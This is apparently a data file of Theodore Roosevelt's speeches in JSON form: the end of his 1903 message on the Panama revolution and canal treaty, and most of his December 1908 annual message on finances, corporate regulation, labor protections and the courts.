intendente. October 2, 1861.--Insurrection and civil war.\nApril 4, 1862.--Measures to prevent rebels crossing Isthmus. June 13,\n1862.--Mosquera's troops refused admittance to Panama. March,\n1865.--Revolution, and United States troops landed. August,\n1865.--Riots; unsuccessful attempt to invade Panama. March,\n1866.--Unsuccessful revolution. April, 1867.--Attempt to overthrow\nGovernment. August, 1867.--Attempt at revolution. July 5,\n1868.--Revolution; provisional government inaugurated. August 29,\n1868.--Revolution; provisional government overthrown. April,\n1871.--Revolution; followed apparently by counter revolution. April,\n1873.--Revolution and civil war which lasted to October, 1875. August,\n1876.--Civil war which lasted until April, 1877. July,\n1878.--Rebellion. December, 1878.--Revolt. April, 1879.--Revolution.\nJune, 1879.--Revolution. March, 1883.--Riot. May, 1883.--Riot. June,\n1884.--Revolutionary attempt. December, 1884.--Revolutionary attempt.\nJanuary, 1885.--Revolutionary disturbances. March, 1885.--Revolution.\nApril, 1887.--Disturbance on Panama Railroad. November,\n1887.--Disturbance on line of canal. January, 1889.--Riot. January,\n1895.--Revolution which lasted until April. March, 1895.--Incendiary\nattempt. October, 1899.--Revolution. February, 1900, to July,\n1900.--Revolution. January, 1901--Revolution. July,\n1901.--Revolutionary disturbances. September, 1901.--City of Colon\ntaken by rebels. March, 1902.--Revolutionary disturbances. July,\n1902.--Revolution. The above is only a partial list of the revolutions,\nrebellions, insurrections, riots, and other outbreaks that have\noccurred during the period in question; yet they number 53 for the 57\nyears. It will be noted that one of them lasted for nearly three years\nbefore it was quelled; another for nearly a year. In short, the\nexperience of over half a century has shown Colombia to be utterly\nincapable of keeping order on the Isthmus. Only the active interference\nof the United States has enabled her to preserve so much as a semblance\nof sovereignty. Had it not been for the exercise by the United States\nof the police power in her interest, her connection with the Isthmus\nwould have been sundered long ago. In 1856, in 1860, in 1873, in 1885,\nin 1901, and again in 1902, sailors and marines from United States war\nships were forced to land in order to patrol the Isthmus, to protect\nlife and property, and to see that the transit across the Isthmus was\nkept open. In 1861, in 1862, in 1885, and in 1900, the Colombian\nGovernment asked that the United States Government would land troops to\nprotect its interests and maintain order on the Isthmus. Perhaps the\nmost extraordinary request is that which has just been received and\nwhich runs as follows:\"Knowing that revolution has already commenced in Panama [an eminent\nColombian] says that if the Government of the United States will land\ntroops to preserve Colombian sovereignty, and the transit, if requested\nby Colombian charge d'affaires, this Government will declare martial\nlaw; and, by virtue of vested constitutional authority, when public\norder is disturbed, will approve by decree ratification of the canal\ntreaty as signed; or, if the Government of the United States prefers,\nwill call extra session of the Congress--with new and friendly\nmembers--next May to approve the treaty. [An eminent Colombian] has the\nperfect confidence of vice-president, he says, and if it became\nnecessary will go to the Isthmus or send representatives there to\nadjust matters along above lines to the satisfaction of the people\nthere.\"This dispatch is noteworthy from two standpoints. Its offer of\nimmediately guaranteeing the treaty to us is in sharp contrast with the\npositive and contemptuous refusal of the Congress which has just closed\nits sessions to consider favorably such a treaty; it shows that the\nGovernment which made the treaty really had absolute control over the\nsituation, but did not choose to exercise this control. The dispatch\nfurther calls on us to restore order and secure Colombian supremacy in\nthe Isthmus from which the Colombian Government has just by its action\ndecided to bar us by preventing the construction of the canal.The control, in the interest of the commerce and traffic of the whole\ncivilized world, of the means of undisturbed transit across the Isthmus\nof Panama has become of transcendent importance to the United States.\nWe have repeatedly exercised this control by intervening in the course\nof domestic dissension, and by protecting the territory from foreign\ninvasion. In 1853 Mr. Everett assured the Peruvian minister that we\nshould not hesitate to maintain the neutrality of the Isthmus in the\ncase of war between Peru and Colombia. In 1864 Colombia, which has\nalways been vigilant to avail itself of its privileges conferred by the\ntreaty, expressed its expectation that in the event of war between Peru\nand Spain the United States would carry into effect the guaranty of\nneutrality. There have been few administrations of the State Department\nin which this treaty has not, either by the one side or the other, been\nused as a basis of more or less important demands. It was said by Mr.\nFish in 1871 that the Department of State had reason to believe that an\nattack upon Colombian sovereignty on the Isthmus had, on several\noccasions, been averted by warning from this Government. In 1886, when\nColombia was under the menace of hostilities from Italy in the Cerruti\ncase, Mr. Bayard expressed the serious concern that the United States\ncould not but feel, that a European power should resort to force\nagainst a sister republic of this hemisphere, as to the sovereign and\nuninterrupted use of a part of whose territory we are guarantors under\nthe solemn faith of a treaty.The above recital of facts establishes beyond question: First, that the\nUnited States has for over half a century patiently and in good faith\ncarried out its obligations under the treaty of 1846; second, that when\nfor the first time it became possible for Colombia to do anything in\nrequital of the services thus repeatedly rendered to it for fifty-seven\nyears by the United States, the Colombian Government peremptorily and\noffensively refused thus to do its part, even though to do so would\nhave been to its advantage and immeasurably to the advantage of the\nState of Panama, at that time under its jurisdiction; third, that\nthroughout this period revolutions, riots, and factional disturbances\nof every kind have occurred one after the other in almost uninterrupted\nsuccession, some of them lasting for months and even for years, while\nthe central government was unable to put them down or to make peace\nwith the rebels; fourth, that these disturbances instead of showing any\nsign of abating have tended to grow more numerous and more serious in\nthe immediate past; fifth, that the control of Colombia over the\nIsthmus of Panama could not be maintained without the armed\nintervention and assistance of the United States. In other words, the\nGovernment of Colombia, though wholly unable to maintain order on the\nIsthmus, has nevertheless declined to ratify a treaty the conclusion of\nwhich opened the only chance to secure its own stability and to\nguarantee permanent peace on, and the construction of a canal across,\nthe Isthmus.Under such circumstances the Government of the United States would have\nbeen guilty of folly and weakness, amounting in their sum to a crime\nagainst the Nation, had it acted otherwise than it did when the\nrevolution of November 3 last took place in Panama. This great\nenterprise of building the interoceanic canal can not be held up to\ngratify the whims, or out of respect to the governmental impotence, or\nto the even more sinister and evil political peculiarities, of people\nwho, though they dwell afar off, yet, against the wish of the actual\ndwellers on the Isthmus, assert an unreal supremacy over the territory.\nThe possession of a territory fraught with such peculiar capacities as\nthe Isthmus in question carries with it obligations to mankind. The\ncourse of events has shown that this canal can not be built by private\nenterprise, or by any other nation than our own; therefore it must be\nbuilt by the United States.Every effort has been made by the Government of the United States to\npersuade Colombia to follow a course which was essentially not only to\nour interests and to the interests of the world, but to the interests\nof Colombia itself. These efforts have failed; and Colombia, by her\npersistence in repulsing the advances that have been made, has forced\nus, for the sake of our own honor, and of the interest and well-being,\nnot merely of our own people, but of the people of the Isthmus of\nPanama and the people of the civilized countries of the world, to take\ndecisive steps to bring to an end a condition of affairs which had\nbecome intolerable. The new Republic of Panama immediately offered to\nnegotiate a treaty with us. This treaty I herewith submit. By it our\ninterests are better safeguarded than in the treaty with Colombia which\nwas ratified by the Senate at its last session. It is better in its\nterms than the treaties offered to us by the Republics of Nicaragua and\nCosta Rica. At last the right to begin this great undertaking is made\navailable. Panama has done her part. All that remains is for the\nAmerican Congress to do its part, and forthwith this Republic will\nenter upon the execution of a project colossal in its size and of\nwell-nigh incalculable possibilities for the good of this country and\nthe nations of mankind.By the provisions of the treaty the United States guarantees and will\nmaintain the independence of the Republic of Panama. There is granted\nto the United States in perpetuity the use, occupation, and control of\na strip ten miles wide and extending three nautical miles into the sea\nat either terminal, with all lands lying outside of the zone necessary\nfor the construction of the canal or for its auxiliary works, and with\nthe islands in the Bay of Panama. The cities of Panama and Colon are\nnot embraced in the canal zone, but the United States assumes their\nsanitation and, in case of need, the maintenance of order therein; the\nUnited States enjoys within the granted limits all the rights, power,\nand authority which it would possess were it the sovereign of the\nterritory to the exclusion of the exercise of sovereign rights by the\nRepublic. All railway and canal property rights belonging to Panama and\nneeded for the canal pass to the United States, including any property\nof the respective companies in the cities of Panama and Colon; the\nworks, property, and personnel of the canal and railways are exempted\nfrom taxation as well in the cities of Panama and Colon as in the canal\nzone and its dependencies. Free immigration of the personnel and\nimportation of supplies for the construction and operation of the canal\nare granted. Provision is made for the use of military force and the\nbuilding of fortifications by the United States for the protection of\nthe transit. In other details, particularly as to the acquisition of\nthe interests of the New Panama Canal Company and the Panama Railway by\nthe United States and the condemnation of private property for the uses\nof the canal, the stipulations of the Hay-Herran treaty are closely\nfollowed, while the compensation to be given for these enlarged grants\nremains the same, being ten millions of dollars payable on exchange of\nratifications; and, beginning nine years from that date, an annual\npayment of $250,000 during the life of the convention.", 
+    "name": "Theodore Roosevelt"
+}
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+{
+    "date": "December 8, 1908", 
+    "speech": "To the Senate and House of Representatives:FINANCES.The financial standing of the Nation at the present time is excellent,\nand the financial management of the Nation's interests by the\nGovernment during the last seven years has shown the most satisfactory\nresults. But our currency system is imperfect, and it is earnestly to\nbe hoped that the Currency Commission will be able to propose a\nthoroughly good system which will do away with the existing defects.During the period from July 1, 1901, to September 30, 1908, there was\nan increase in the amount of money in circulation of $902,991,399. The\nincrease in the per capita during this period was $7.06. Within this\ntime there were several occasions when it was necessary for the\nTreasury Department to come to the relief of the money market by\npurchases or redemptions of United States bonds; by increasing deposits\nin national banks; by stimulating additional issues of national bank\nnotes, and by facilitating importations from abroad of gold. Our\nimperfect currency system has made these proceedings necessary, and\nthey were effective until the monetary disturbance in the fall of 1907\nimmensely increased the difficulty of ordinary methods of relief. By\nthe middle of November the available working balance in the Treasury\nhad been reduced to approximately $5,000,000. Clearing house\nassociations throughout the country had been obliged to resort to the\nexpedient of issuing clearing house certificates, to be used as money.\nIn this emergency it was determined to invite subscriptions for\n$50,000,000 Panama Canal bonds, and $100,000,000 three per cent\ncertificates of indebtedness authorized by the act of June 13, 1898. It\nwas proposed to re-deposit in the national banks the proceeds of these\nissues, and to permit their use as a basis for additional circulating\nnotes of national banks. The moral effect of this procedure was so\ngreat that it was necessary to issue only $24,631,980 of the Panama\nCanal bonds and $15,436,500 of the certificates of indebtedness.During the period from July 1, 1901, to September 30, 1908, the balance\nbetween the net ordinary receipts and the net ordinary expenses of the\nGovernment showed a surplus in the four years 1902, 1903, 1906 and\n1907, and a deficit in the years 1904, 1905, 1908 and a fractional part\nof the fiscal year 1909. The net result was a surplus of\n$99,283,413.54. The financial operations of the Government during this\nperiod, based upon these differences between receipts and expenditures,\nresulted in a net reduction of the interest-bearing debt of the United\nStates from $987,141,040 to $897,253,990, notwithstanding that there\nhad been two sales of Panama Canal bonds amounting in the aggregate to\n$54,631,980, and an issue of three per cent certificates of\nindebtedness under the act of June 13, 1998, amounting to $15,436,500.\nRefunding operations of the Treasury Department under the act of March\n14, 1900, resulted in the conversion into two per cent consols of 1930\nof $200,309,400 bonds bearing higher rates of interest. A decrease of\n$8,687,956 in the annual interest charge resulted from these\noperations.In short, during the seven years and three months there has been a net\nsurplus of nearly one hundred millions of receipts over expenditures, a\nreduction of the interest-bearing debt by ninety millions, in spite of\nthe extraordinary expense of the Panama Canal, and a saving of nearly\nnine millions on the annual interest charge. This is an exceedingly\nsatisfactory showing, especially in view of the fact that during this\nperiod the Nation has never hesitated to undertake any expenditure that\nit regarded as necessary. There have been no new taxes and no increase\nof taxes; on the contrary, some taxes have been taken off; there has\nbeen a reduction of taxation.CORPORATIONS.As regards the great corporations engaged in interstate business, and\nespecially the railroad, I can only repeat what I have already again\nand again said in my messages to the Congress, I believe that under the\ninterstate clause of the Constitution the United States has complete\nand paramount right to control all agencies of interstate commerce, and\nI believe that the National Government alone can exercise this right\nwith wisdom and effectiveness so as both to secure justice from, and to\ndo justice to, the great corporations which are the most important\nfactors in modern business. I believe that it is worse than folly to\nattempt to prohibit all combinations as is done by the Sherman\nanti-trust law, because such a law can be enforced only imperfectly and\nunequally, and its enforcement works almost as much hardship as good. I\nstrongly advocate that instead of an unwise effort to prohibit all\ncombinations there shall be substituted a law which shall expressly\npermit combinations which are in the interest of the public, but shall\nat the same time give to some agency of the National Government full\npower of control and supervision over them. One of the chief features\nof this control should be securing entire publicity in all matters\nwhich the public has a right to know, and furthermore, the power, not\nby judicial but by executive action, to prevent or put a stop to every\nform of improper favoritism or other wrongdoing.The railways of the country should be put completely under the\nInterstate Commerce Commission and removed from the domain of the\nanti-trust law. The power of the Commission should be made\nthoroughgoing, so that it could exercise complete supervision and\ncontrol over the issue of securities as well as over the raising and\nlowering of rates. As regards rates, at least, this power should be\nsummary. The power to investigate the financial operations and accounts\nof the railways has been one of the most valuable features in recent\nlegislation. Power to make combinations and traffic agreements should\nbe explicitly conferred upon the railroads, the permission of the\nCommission being first gained and the combination or agreement being\npublished in all its details. In the interest of the public the\nrepresentatives of the public should have complete power to see that\nthe railroads do their duty by the public, and as a matter of course\nthis power should also be exercised so as to see that no injustice is\ndone to the railroads. The shareholders, the employees and the shippers\nall have interests that must be guarded. It is to the interest of all\nof them that no swindling stock speculation should be allowed, and that\nthere should be no improper issuance of securities. The guiding\nintelligences necessary for the successful building and successful\nmanagement of railroads should receive ample remuneration; but no man\nshould be allowed to make money in connection with railroads out of\nfraudulent over-capitalization and kindred stock-gambling performances;\nthere must be no defrauding of investors, oppression of the farmers and\nbusiness men who ship freight, or callous disregard of the rights and\nneeds of the employees. In addition to this the interests of the\nshareholders, of the employees, and of the shippers should all be\nguarded as against one another. To give any one of them undue and\nimproper consideration is to do injustice to the others. Rates must be\nmade as low as is compatible with giving proper returns to all the\nemployees of the railroad, from the highest to the lowest, and proper\nreturns to the shareholders; but they must not, for instance, be\nreduced in such fashion as to necessitate a cut in the wages of the\nemployees or the abolition of the proper and legitimate profits of\nhonest shareholders.Telegraph and telephone companies engaged in interstate business should\nbe put under the jurisdiction of the Interstate Commerce Commission.It is very earnestly to be wished that our people, through their\nrepresentatives, should act in this matter. It is hard to say whether\nmost damage to the country at large would come from entire failure on\nthe part of the public to supervise and control the actions of the\ngreat corporations, or from the exercise of the necessary governmental\npower in a way which would do injustice and wrong to the corporations.\nBoth the preachers of an unrestricted individualism, and the preachers\nof an oppression which would deny to able men of business the just\nreward of their initiative and business sagacity, are advocating\npolicies that would be fraught with the gravest harm to the whole\ncountry. To permit every lawless capitalist, every law-defying\ncorporation, to take any action, no matter how iniquitous, in the\neffort to secure an improper profit and to build up privilege, would be\nruinous to the Republic and would mark the abandonment of the effort to\nsecure in the industrial world the spirit of democratic fair dealing.\nOn the other hand, to attack these wrongs in that spirit of demagogy\nwhich can see wrong only when committed by the man of wealth, and is\ndumb and blind in the presence of wrong committed against men of\nproperty or by men of no property, is exactly as evil as corruptly to\ndefend the wrongdoing of men of wealth. The war we wage must be waged\nagainst misconduct, against wrongdoing wherever it is found; and we\nmust stand heartily for the rights of every decent man, whether he be a\nman of great wealth or a man who earns his livelihood as a wage-worker\nor a tiller of the soil.It is to the interest of all of us that there should be a premium put\nupon individual initiative and individual capacity, and an ample reward\nfor the great directing intelligences alone competent to manage the\ngreat business operations of to-day. It is well to keep in mind that\nexactly as the anarchist is the worst enemy of liberty and the\nreactionary the worst enemy of order, so the men who defend the rights\nof property have most to fear from the wrongdoers of great wealth, and\nthe men who are championing popular rights have most to fear from the\ndemagogues who in the name of popular rights would do wrong to and\noppress honest business men, honest men of wealth; for the success of\neither type of wrongdoer necessarily invites a violent reaction against\nthe cause the wrongdoer nominally upholds. In point of danger to the\nNation there is nothing to choose between on the one hand the\ncorruptionist, the bribe-giver, the bribe-taker, the man who employs\nhis great talent to swindle his fellow-citizens on a large scale, and,\non the other hand, the preacher of class hatred, the man who, whether\nfrom ignorance or from willingness to sacrifice his country to his\nambition, persuades well-meaning but wrong-headed men to try to destroy\nthe instruments upon which our prosperity mainly rests. Let each group\nof men beware of and guard against the shortcomings to which that group\nis itself most liable. Too often we see the business community in a\nspirit of unhealthy class consciousness deplore the effort to hold to\naccount under the law the wealthy men who in their management of great\ncorporations, whether railroads, street railways, or other industrial\nenterprises, have behaved in a way that revolts the conscience of the\nplain, decent people. Such an attitude can not be condemned too\nseverely, for men of property should recognize that they jeopardize the\nrights of property when they fail heartily to join in the effort to do\naway with the abuses of wealth. On the other hand, those who advocate\nproper control on behalf of the public, through the State, of these\ngreat corporations, and of the wealth engaged on a giant scale in\nbusiness operations, must ever keep in mind that unless they do\nscrupulous justice to the corporation, unless they permit ample profit,\nand cordially encourage capable men of business so long as they act\nwith honesty, they are striking at the root of our national well-being;\nfor in the long run, under the mere pressure of material distress, the\npeople as a whole would probably go back to the reign of an\nunrestricted individualism rather than submit to a control by the State\nso drastic and so foolish, conceived in a spirit of such unreasonable\nand narrow hostility to wealth, as to prevent business operations from\nbeing profitable, and therefore to bring ruin upon the entire business\ncommunity, and ultimately upon the entire body of citizens.The opposition to Government control of these great corporations makes\nits most effective effort in the shape of an appeal to the old doctrine\nof State's rights. Of course there are many sincere men who now believe\nin unrestricted individualism in business, just as there were formerly\nmany sincere men who believed in slavery--that is, in the unrestricted\nright of an individual to own another individual. These men do not by\nthemselves have great weight, however. The effective fight against\nadequate Government control and supervision of individual, and\nespecially of corporate, wealth engaged in interstate business is\nchiefly done under cover; and especially under cover of an appeal to\nState's rights. It is not at all infrequent to read in the same speech\na denunciation of predatory wealth fostered by special privilege and\ndefiant of both the public welfare and law of the land, and a\ndenunciation of centralization in the Central Government of the power\nto deal with this centralized and organized wealth. Of course the\npolicy set forth in such twin denunciations amounts to absolutely\nnothing, for the first half is nullified by the second half. The chief\nreason, among the many sound and compelling reasons, that led to the\nformation of the National Government was the absolute need that the\nUnion, and not the several States, should deal with interstate and\nforeign commerce; and the power to deal with interstate commerce was\ngranted absolutely and plenarily to the Central Government and was\nexercised completely as regards the only instruments of interstate\ncommerce known in those days--the waterways, the highroads, as well as\nthe partnerships of individuals who then conducted all of what business\nthere was. Interstate commerce is now chiefly conducted by railroads;\nand the great corporation has supplanted the mass of small partnerships\nor individuals. The proposal to make the National Government supreme\nover, and therefore to give it complete control over, the railroads and\nother instruments of interstate commerce is merely a proposal to carry\nout to the letter one of the prime purposes, if not the prime purpose,\nfor which the Constitution was rounded. It does not represent\ncentralization. It represents merely the acknowledgment of the patent\nfact that centralization has already come in business. If this\nirresponsible outside business power is to be controlled in the\ninterest of the general public it can only be controlled in one way--by\ngiving adequate power of control to the one sovereignty capable of\nexercising such power--the National Government. Forty or fifty separate\nstate governments can not exercise that power over corporations doing\nbusiness in most or all of them; first, because they absolutely lack\nthe authority to deal with interstate business in any form; and second,\nbecause of the inevitable conflict of authority sure to arise in the\neffort to enforce different kinds of state regulation, often\ninconsistent with one another and sometimes oppressive in themselves.\nSuch divided authority can not regulate commerce with wisdom and\neffect. The Central Government is the only power which, without\noppression, can nevertheless thoroughly and adequately control and\nsupervise the large corporations. To abandon the effort for National\ncontrol means to abandon the effort for all adequate control and yet to\nrender likely continual bursts of action by State legislatures, which\ncan not achieve the purpose sought for, but which can do a great deal\nof damage to the corporation without conferring any real benefit on the\npublic.I believe that the more farsighted corporations are themselves coming\nto recognize the unwisdom of the violent hostility they have displayed\nduring the last few years to regulation and control by the National\nGovernment of combinations engaged in interstate business. The truth is\nthat we who believe in this movement of asserting and exercising a\ngenuine control, in the public interest, over these great corporations\nhave to contend against two sets of enemies, who, though nominally\nopposed to one another, are really allies in preventing a proper\nsolution of the problem. There are, first, the big corporation men, and\nthe extreme individualists among business men, who genuinely believe in\nutterly unregulated business that is, in the reign of plutocracy; and,\nsecond, the men who, being blind to the economic movements of the day,\nbelieve in a movement of repression rather than of regulation of\ncorporations, and who denounce both the power of the railroads and the\nexercise of the Federal power which alone can really control the\nrailroads. Those who believe in efficient national control, on the\nother hand, do not in the least object to combinations; do not in the\nleast object to concentration in business administration. On the\ncontrary, they favor both, with the all important proviso that there\nshall be such publicity about their workings, and such thoroughgoing\ncontrol over them, as to insure their being in the interest, and not\nagainst the interest, of the general public. We do not object to the\nconcentration of wealth and administration; but we do believe in the\ndistribution of the wealth in profits to the real owners, and in\nsecuring to the public the full benefit of the concentrated\nadministration. We believe that with concentration in administration\nthere can come both be advantage of a larger ownership and of a more\nequitable distribution of profits, and at the same time a better\nservice to the commonwealth. We believe that the administration should\nbe for the benefit of the many; and that greed and rascality, practiced\non a large scale, should be punished as relentlessly as if practiced on\na small scale.We do not for a moment believe that the problem will be solved by any\nshort and easy method. The solution will come only by pressing various\nconcurrent remedies. Some of these remedies must lie outside the domain\nof all government. Some must lie outside the domain of the Federal\nGovernment. But there is legislation which the Federal Government alone\ncan enact and which is absolutely vital in order to secure the\nattainment of our purpose. Many laws are needed. There should be\nregulation by the National Government of the great interstate\ncorporations, including a simple method of account keeping, publicity,\nsupervision of the issue securities, abolition of rebates, and of\nspecial privileges. There should be short time franchises for all\ncorporations engaged in public business; including the corporations\nwhich get power from water rights. There should be National as well as\nState guardianship of mines and forests. The labor legislation\nhereinafter referred to should concurrently be enacted into law.To accomplish this, means of course a certain increase in the use\nof--not the creation of--power, by the Central Government. The power\nalready exists; it does not have to be created; the only question is\nwhether it shall be used or left idle--and meanwhile the corporations\nover which the power ought to be exercised will not remain idle. Let\nthose who object to this increase in the use of the only power\navailable, the national power, be frank, and admit openly that they\npropose to abandon any effort to control the great business\ncorporations and to exercise supervision over the accumulation and\ndistribution of wealth; for such supervision and control can only come\nthrough this particular kind of increase of power. We no more believe\nin that empiricism which demand, absolutely unrestrained individualism\nthan we do in that empiricism which clamors for a deadening socialism\nwhich would destroy all individual initiative and would ruin the\ncountry with a completeness that not even an unrestrained individualism\nitself could achieve. The danger to American democracy lies not in the\nleast in the concentration of administrative power in responsible and\naccountable hands. It lies in having the power insufficiently\nconcentrated, so that no one can be held responsible to the people for\nits use. Concentrated power is palpable, visible, responsible, easily\nreached, quickly held to account. Power scattered through many\nadministrators, many legislators, many men who work behind and through\nlegislators and administrators, is impalpable, is unseen, is\nirresponsible, can not be reached, can not be held to account.\nDemocracy is in peril wherever the administration of political power is\nscattered among a variety of men who work in secret, whose very names\nare unknown to the common people. It is not in peril from any man who\nderives authority from the people, who exercises it in sight of the\npeople, and who is from time to time compelled to give an account of\nits exercise to the people.LABOR.There are many matters affecting labor and the status of the\nwage-worker to which I should like to draw your attention, but an\nexhaustive discussion of the problem in all its aspects is not now\nnecessary. This administration is nearing its end; and, moreover, under\nour form of government the solution of the problem depends upon the\naction of the States as much as upon the action of the Nation.\nNevertheless, there are certain considerations which I wish to set\nbefore you, because I hope that our people will more and more keep them\nin mind. A blind and ignorant resistance to every effort for the reform\nof abuses and for the readjustment of society to modern industrial\nconditions represents not true conservatism, but an incitement to the\nwildest radicalism; for wise radicalism and wise conservatism go hand\nin hand, one bent on progress, the other bent on seeing that no change\nis made unless in the right direction. I believe in a steady effort, or\nperhaps it would be more accurate to say in steady efforts in many\ndifferent directions, to bring about a condition of affairs under which\nthe men who work with hand or with brain, the laborers, the\nsuperintendents, the men who produce for the market and the men who\nfind a market for the articles produced, shall own a far greater share\nthan at present of the wealth they produce, and be enabled to invest it\nin the tools and instruments by which all work is carried on. As far as\npossible I hope to see a frank recognition of the advantages conferred\nby machinery, organization, and division of labor, accompanied by an\neffort to bring about a larger share in the ownership by wage-worker of\nrailway, mill and factory. In farming, this simply means that we wish\nto see the farmer own his own land; we do not wish to see the farms so\nlarge that they become the property of absentee landlords who farm them\nby tenants, nor yet so small that the farmer becomes like a European\npeasant. Again, the depositors in our savings banks now number over\none-tenth of our entire population. These are all capitalists, who\nthrough the savings banks loan their money to the workers--that is, in\nmany cases to themselves--to carry on their various industries. The\nmore we increase their number, the more we introduce the principles of\ncooperation into our industry. Every increase in the number of small\nstockholders in corporations is a good thing, for the same reasons; and\nwhere the employees are the stockholders the result is particularly\ngood. Very much of this movement must be outside of anything that can\nbe accomplished by legislation; but legislation can do a good deal.\nPostal savings banks will make it easy for the poorest to keep their\nsavings in absolute safety. The regulation of the national highways\nmust be such that they shall serve all people with equal justice.\nCorporate finances must be supervised so as to make it far safer than\nat present for the man of small means to invest his money in stocks.\nThere must be prohibition of child labor, diminution of woman labor,\nshortening of hours of all mechanical labor; stock watering should be\nprohibited, and stock gambling so far as is possible discouraged. There\nshould be a progressive inheritance tax on large fortunes. Industrial\neducation should be encouraged. As far as possible we should lighten\nthe burden of taxation on the small man. We should put a premium upon\nthrift, hard work, and business energy; but these qualities cease to be\nthe main factors in accumulating a fortune long before that fortune\nreaches a point where it would be seriously affected by any inheritance\ntax such as I propose. It is eminently right that the Nation should fix\nthe terms upon which the great fortunes are inherited. They rarely do\ngood and they often do harm to those who inherit them in their\nentirety.PROTECTION FOR WAGEWORKERS.The above is the merest sketch, hardly even a sketch in outline, of the\nreforms for which we should work. But there is one matter with which\nthe Congress should deal at this session. There should no longer be any\npaltering with the question of taking care of the wage-workers who,\nunder our present industrial system, become killed, crippled, or worn\nout as part of the regular incidents of a given business. The majority\nof wageworkers must have their rights secured for them by State action;\nbut the National Government should legislate in thoroughgoing and\nfar-reaching fashion not only for all employees of the National\nGovernment, but for all persons engaged in interstate commerce. The\nobject sought for could be achieved to a measurable degree, as far as\nthose killed or crippled are concerned, by proper employers' liability\nlaws. As far as concerns those who have been worn out, I call your\nattention to the fact that definite steps toward providing old-age\npensions have been taken in many of our private industries. These may\nbe indefinitely extended through voluntary association and contributory\nschemes, or through the agency of savings banks, as under the recent\nMassachusetts plan. To strengthen these practical measures should be\nour immediate duty; it is not at present necessary to consider the\nlarger and more general governmental schemes that most European\ngovernments have found themselves obliged to adopt.Our present system, or rather no system, works dreadful wrong, and is\nof benefit to only one class of people--the lawyers. When a workman is\ninjured what he needs is not an expensive and doubtful lawsuit, but the\ncertainty of relief through immediate administrative action. The number\nof accidents which result in the death or crippling of wageworkers, in\nthe Union at large, is simply appalling; in a very few years it runs up\na total far in excess of the aggregate of the dead and wounded in any\nmodern war. No academic theory about \"freedom of contract\" or\n\"constitutional liberty to contract\" should be permitted to interfere\nwith this and similar movements. Progress in civilization has\neverywhere meant a limitation and regulation of contract. I call your\nespecial attention to the bulletin of the Bureau of Labor which gives a\nstatement of the methods of treating the unemployed in European\ncountries, as this is a subject which in Germany, for instance, is\ntreated in connection with making provision for worn-out and crippled\nworkmen.Pending a thoroughgoing investigation and action there is certain\nlegislation which should be enacted at once. The law, passed at the\nlast session of the Congress, granting compensation to certain classes\nof employees of the Government, should be extended to include all\nemployees of the Government and should be made more liberal in its\nterms. There is no good ground for the distinction made in the law\nbetween those engaged in hazardous occupations and those not so\nengaged. If a man is injured or killed in any line of work, it was\nhazardous in his case. Whether 1 per cent or 10 per cent of those\nfollowing a given occupation actually suffer injury or death ought not\nto have any bearing on the question of their receiving compensation. It\nis a grim logic which says to an injured employee or to the dependents\nof one killed that he or they are entitled to no compensation because\nvery few people other than he have been injured or killed in that\noccupation. Perhaps one of the most striking omissions in the law is\nthat it does not embrace peace officers and others whose lives may be\nsacrificed in enforcing the laws of the United States. The terms of the\nact providing compensation should be made more liberal than in the\npresent act. A year's compensation is not adequate for a wage-earner's\nfamily in the event of his death by accident in the course of his\nemployment. And in the event of death occurring, say, ten or eleven\nmonths after the accident, the family would only receive as\ncompensation the equivalent of one or two months' earnings. In this\nrespect the generosity of the United States towards its employees\ncompares most unfavorably with that of every country in Europe--even\nthe poorest.The terms of the act are also a hardship in prohibiting payment in\ncases where the accident is in any way due to the negligence of the\nemployee. It is inevitable that daily familiarity with danger will lead\nmen to take chances that can be construed into negligence. So well is\nthis recognized that in practically all countries in the civilized\nworld, except the United States, only a great degree of negligence acts\nas a bar to securing compensation. Probably in no other respect is our\nlegislation, both State and National, so far behind practically the\nentire civilized world as in the matter of liability and compensation\nfor accidents in industry. It is humiliating that at European\ninternational congresses on accidents the United States should be\nsingled out as the most belated among the nations in respect to\nemployers' liability legislation. This Government is itself a large\nemployer of labor, and in its dealings with its employees it should set\na standard in this country which would place it on a par with the most\nprogressive countries in Europe. The laws of the United States in this\nrespect and the laws of European countries have been summarized in a\nrecent Bulletin of the Bureau of Labor, and no American who reads this\nsummary can fail to be struck by the great contrast between our\npractices and theirs--a contrast not in any sense to our credit.The Congress should without further delay pass a model employers'\nliability law for the District of Columbia. The employers' liability\nact recently declared unconstitutional, on account of apparently\nincluding in its provisions employees engaged in intrastate commerce as\nwell as those engaged in interstate commerce, has been held by the\nlocal courts to be still in effect so far as its provisions apply to\nDistrict of Columbia. There should be no ambiguity on this point. If\nthere is any doubt on the subject, the law should be reenacted with\nspecial reference to the District of Columbia. This act, however,\napplies only to employees of common carriers. In all other occupations\nthe liability law of the District is the old common law. The severity\nand injustice of the common law in this matter has been in some degree\nor another modified in the majority of our States, and the only\njurisdiction under the exclusive control of the Congress should be\nahead and not behind the States of the Union in this respect. A\ncomprehensive employers' liability law should be passed for the\nDistrict of Columbia.I renew my recommendation made in a previous message that half-holidays\nbe granted during summer to all wageworkers in Government employ.I also renew my recommendation that the principle of the eight-hour day\nshould as rapidly and as far as practicable be extended to the entire\nwork being carried on by the Government; the present law should be\namended to embrace contracts on those public works which the present\nwording of the act seems to exclude.THE COURTS.I most earnestly urge upon the Congress the duty of increasing the\ntotally inadequate salaries now given to our Judges. On the whole there\nis no body of public servants who do as valuable work, nor whose\nmoneyed reward is so inadequate compared to their work. Beginning with\nthe Supreme Court, the Judges should have their salaries doubled. It is\nnot befitting the dignity of the Nation that its most honored public\nservants should be paid sums so small compared to what they would earn\nin private life that the performance of public service by them implies\nan exceedingly heavy pecuniary sacrifice.It is earnestly to be desired that some method should be devised for\ndoing away with the long delays which now obtain in the administration\nof justice, and which operate with peculiar severity against persons of\nsmall means, and favor only the very criminals whom it is most\ndesirable to punish. These long delays in the final decisions of cases\nmake in the aggregate a crying evil; and a remedy should be devised.\nMuch of this intolerable delay is due to improper regard paid to\ntechnicalities which are a mere hindrance to justice. In some noted\nrecent cases this over-regard for technicalities has resulted in a\nstriking denial of justice, and flagrant wrong to the body politic.At the last election certain leaders of organized labor made a violent\nand sweeping attack upon the entire judiciary of the country, an attack\ncouched in such terms as to include the most upright, honest and\nbroad-minded judges, no less than those of narrower mind and more\nrestricted outlook. It was the kind of attack admirably fitted to\nprevent any successful attempt to reform abuses of the judiciary,\nbecause it gave the champions of the unjust judge their eagerly desired\nopportunity to shift their ground into a championship of just judges\nwho were unjustly assailed. Last year, before the House Committee on\nthe Judiciary, these same labor leaders formulated their demands,\nspecifying the bill that contained them, refusing all compromise,\nstating they wished the principle of that bill or nothing. 